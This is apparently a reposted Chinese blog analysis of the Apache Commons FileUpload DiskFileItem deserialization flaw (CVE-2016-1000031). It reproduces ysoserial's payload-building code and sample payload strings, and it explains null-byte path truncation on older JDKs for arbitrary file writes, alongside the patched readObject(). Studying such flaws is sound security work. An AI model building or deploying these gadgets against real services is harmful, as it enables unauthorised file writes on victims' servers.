Apache Commons Fileupload 反序列化漏洞分析

栏目: 编程工具 · 发布时间: 7年前

内容简介:前几天刚刚分析了Apache Commons FileUpload的Dos的漏洞,无意间发现了还存在反序列化的漏洞。网上只存在漏洞的来源是在于这个漏洞的危害是能够任意写、读文件或者目录。但是具体是对文件还是目录操作与FileUpload以及JDK的版本有关。不同的漏洞环境能够达到的效果不一样。

前几天刚刚分析了Apache Commons FileUpload的Dos的漏洞,无意间发现了还存在反序列化的漏洞。网上只存在 cve-2016-1000031 Apache Commons FileUpload 反序列化漏洞深入分析 。这篇文章只是简要地分析了一下,但是对于原理还是不理解。后来发现在 ysoserial 中存在这个漏洞的Payload,于是就根据ysoserial中的Payload对这个漏洞进行分析。

漏洞说明

漏洞的来源是在于 DiskFileItem 中的 readObject() 进行文件写入的操作,这就意味着如果我们对已经序列化的 DiskFileItem 对象进行反序列化操作就能够触发 readObject() 执行从而触发这个漏洞。

这个漏洞的危害是能够任意写、读文件或者目录。但是具体是对文件还是目录操作与FileUpload以及JDK的版本有关。不同的漏洞环境能够达到的效果不一样。

  1. FileUpload的1.3.1之前的版本配合JDK1.7之前的版本,能够达到写入任意文件的漏洞;
  2. FileUpload的1.3.1之前的版本配合JDK1.7及其之后的版本,能够向任意目录写入文件;
  3. FileUpload的1.3.1以及之后的版本只能向特定目录写入文件,此目录也必须存在。(文件的的命名也无法控制);

下面将进行详细地分析

Payload构造

我们首先测试的版本是1.3的版本,JDK是1.8版本,所以这种组合只能达到向任意目录的文件写入的漏洞效果。

我们测试的payload是 {"write;cve1000031;123456"} ,表示的含义就是向目录 cve1000031 中写入 123456 的内容。在 ysoserial 中最终是由 ysoserial.payloads.FileUpload1::makePayload() 来构建payload。代码如下:

private static DiskFileItem makePayload ( int thresh, String repoPath, String filePath, byte[] data ) throws IOException, Exception {
    // if thresh < written length, delete outputFile after copying to repository temp file
    // otherwise write the contents to repository temp file
    File repository = new File(repoPath);
    DiskFileItem diskFileItem = new DiskFileItem("testxxx", "application/octet-stream", false, "testxxx", 100000, repository);
    File outputFile = new File(filePath);
    DeferredFileOutputStream dfos = new DeferredFileOutputStream(thresh, outputFile);
    OutputStream os = (OutputStream) Reflections.getFieldValue(dfos, "memoryOutputStream");
    os.write(data);
    Reflections.getField(ThresholdingOutputStream.class, "written").set(dfos, data.length);
    Reflections.setFieldValue(diskFileItem, "dfos", dfos);
    Reflections.setFieldValue(diskFileItem, "sizeThreshold", 0);
    return diskFileItem;
}

当我们输入我们的Payload, {"write;cve1000031;123456"} ,其中的赋值情况是:

Apache Commons Fileupload 反序列化漏洞分析

thresh 的值就是我们需要写入的内容的长度加1,即 len(123456)+1 结果就是7。其中还有 filePathcve1000031/whatever 是因为在这个漏洞环境中我们最终是向 cve1000031 目录写入,所以后面是什么就没有意义了。

最后在代码中还存在几个反序列化的操作:

Reflections.getField(ThresholdingOutputStream.class, "written").set(dfos, data.length);
Reflections.setFieldValue(diskFileItem, "dfos", dfos);
Reflections.setFieldValue(diskFileItem, "sizeThreshold", 0);

发序列化的意义是在于我们无法通过 DiskFileItem 的示例进行设置,只能通过反射的方式设置,这几个属性也是我们触发漏洞的必要条件。

之后对我们构造的这个进行序列化操作,反序列化之后就会触发DiskFileItem的 readObject() 从而触发漏洞。

漏洞分析-1

漏洞环境: FileUpload 1.3 + JDK1.7

当对 DiskFileItem 的对象进行反序列化操作时,由 org.apache.commons.fileupload.disk.DiskFileItem::readObject() 处理。

private void readObject(ObjectInputStream in)
        throws IOException, ClassNotFoundException {
    // read values
    in.defaultReadObject();

    OutputStream output = getOutputStream();
    if (cachedContent != null) {
        output.write(cachedContent);
    } else {
        FileInputStream input = new FileInputStream(dfosFile);
        IOUtils.copy(input, output);
        dfosFile.delete();
        dfosFile = null;
    }
    output.close();

    cachedContent = null;
}

跟进 getOutputStream() ,进入到:

public OutputStream getOutputStream()
    throws IOException {
    if (dfos == null) {
        File outputFile = getTempFile();
        dfos = new DeferredFileOutputStream(sizeThreshold, outputFile);
    }
    return dfos;
}

由于 dfos == null 满足条件,会执行 File outputFile = getTempFile(); 方法。跟踪进入 getTempFile() 到中

Apache Commons Fileupload 反序列化漏洞分析

其中的 tempDir 就是我们设置的 repository ,即 cve1000031tmpFileName 是由 DiskFileItem 是自动生成的。最终和 tempDir 组合得到的文件路径就是 cve1000031\upload_7b496a67_4fc4_4b14_a4e7_ff5aceb82aaf_00000000.tmp

最后返回至 readObject() 方法中写入文件,如下:

Apache Commons Fileupload 反序列化漏洞分析

其中的 cachedContent 就是我们之前在Payload中设置的 123456 。那么Payload的最终的效果就是在 cve1000031\upload_7b496a67_4fc4_4b14_a4e7_ff5aceb82aaf_00000000.tmp 文件中写入了 123456 的内容。

Apache Commons Fileupload 反序列化漏洞分析

漏洞分析-2

由于前面的一个漏洞分析是向任意目录写文件的功能,本次分析的是任意文件写入的功能。本次的漏洞环境是 FileUpload 1.3 + JDK1.6

Payload构造

构造的Payload是 {"writeOld;cve1000031.txt;123456"} 。同样会调用 makePayload() 构造Payload。

Apache Commons Fileupload 反序列化漏洞分析

但是其中的 repoPath 最后一位是 \0 ,这个就类似于 PHP 中的截断,用于截断后面的路径,这样就可以达到任意文件写入的效果。具体的原理说明如下:

JDK7以上在 Java 的file相关的基础类中都做了空字符的保护,这也是在针对java的string 和 c char的结束方式不一致,在Java中文件的操作中使用String这种char 数组,而C中的char 是以空字符为结束符,所以java操作的文件中很容易通过注入空字符来操作完全不同的文件。比如 Java File file = new File("/test/test.txt\0.jsp") 看起来再操作 test.txt\0.jsp 实际上在底层调用的(本质还是c读写文件)是在操作test.txt。在JDK7以后的版本File 里面会有一个判断是否有空字符的函数

这个意思就是在JDK7之前可以利用 \0 进行目录截断,和php在5.3.4版本之前也可以进行目录截断是一样的道理。所以这个任意文件写入为什么要求是JDK7以下的版本才可以的原因。

漏洞的执行流程和前面分析的漏洞流程一样,不同是在 getTempFile() 中:

Apache Commons Fileupload 反序列化漏洞分析

其中 this.tempFile 的路径是 cve1000031.txt \upload_6982dc32_8ca4_4d7c_b658_0a9b44a60741_00000000.tmp 。由于是在JDK1.6的环境下,后面的 \upload_6982dc32_8ca4_4d7c_b658_0a9b44a60741_00000000.tmp 在写入文件时会被忽略,所以最终是向 cve1000031.txt 文件中写入内容。

Apache Commons Fileupload 反序列化漏洞分析

漏洞分析-3

漏洞环境: FileUpload 1.3.1 + JDK1.7
FileUpload 1.3.1 中对 readObject() 的功能进行了修改。修改主要是对 repository 进行了校验。

private void readObject(ObjectInputStream in)
        throws IOException, ClassNotFoundException {
    // read values
    in.defaultReadObject();
    /* One expected use of serialization is to migrate HTTP sessions
        * containing a DiskFileItem between JVMs. Particularly if the JVMs are
        * on different machines It is possible that the repository location is
        * not valid so validate it.
        */
    if (repository != null) {
        if (repository.isDirectory()) {
            // Check path for nulls
            if (repository.getPath().contains("\0")) {
                throw new IOException(format(
                        "The repository [%s] contains a null character",
                        repository.getPath()));
            }
        } else {
            throw new IOException(format(
                    "The repository [%s] is not a directory",
                    repository.getAbsolutePath()));
        }
    }

    OutputStream output = getOutputStream();
    if (cachedContent != null) {
        output.write(cachedContent);
    } else {
        FileInputStream input = new FileInputStream(dfosFile);
        IOUtils.copy(input, output);
        dfosFile.delete();
        dfosFile = null;
    }
    output.close();

    cachedContent = null;
}

通过对 repository.isDirectory()repository.getPath().contains("\0") 的判断,就阻止了任意的文件写入的漏洞了。所以在这种环境下只能下特定的目录写入文件了。但是这种情况下,你也只能向临时目录写入文件。

总结

分析这个漏洞学习到了JDK1.6的截断同时也感慨 ysoserial 的强大。

以上


以上所述就是小编给大家介绍的《Apache Commons Fileupload 反序列化漏洞分析》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

A Common-Sense Guide to Data Structures and Algorithms

A Common-Sense Guide to Data Structures and Algorithms

Jay Wengrow / Pragmatic Bookshelf / 2017-8-13 / USD 45.95

If you last saw algorithms in a university course or at a job interview, you’re missing out on what they can do for your code. Learn different sorting and searching techniques, and when to use each. F......一起来看看 《A Common-Sense Guide to Data Structures and Algorithms》 这本书的介绍吧!

XML、JSON 在线转换
XML、JSON 在线转换

在线XML、JSON转换工具

RGB CMYK 转换工具
RGB CMYK 转换工具

RGB CMYK 互转工具

HEX CMYK 转换工具
HEX CMYK 转换工具

HEX CMYK 互转工具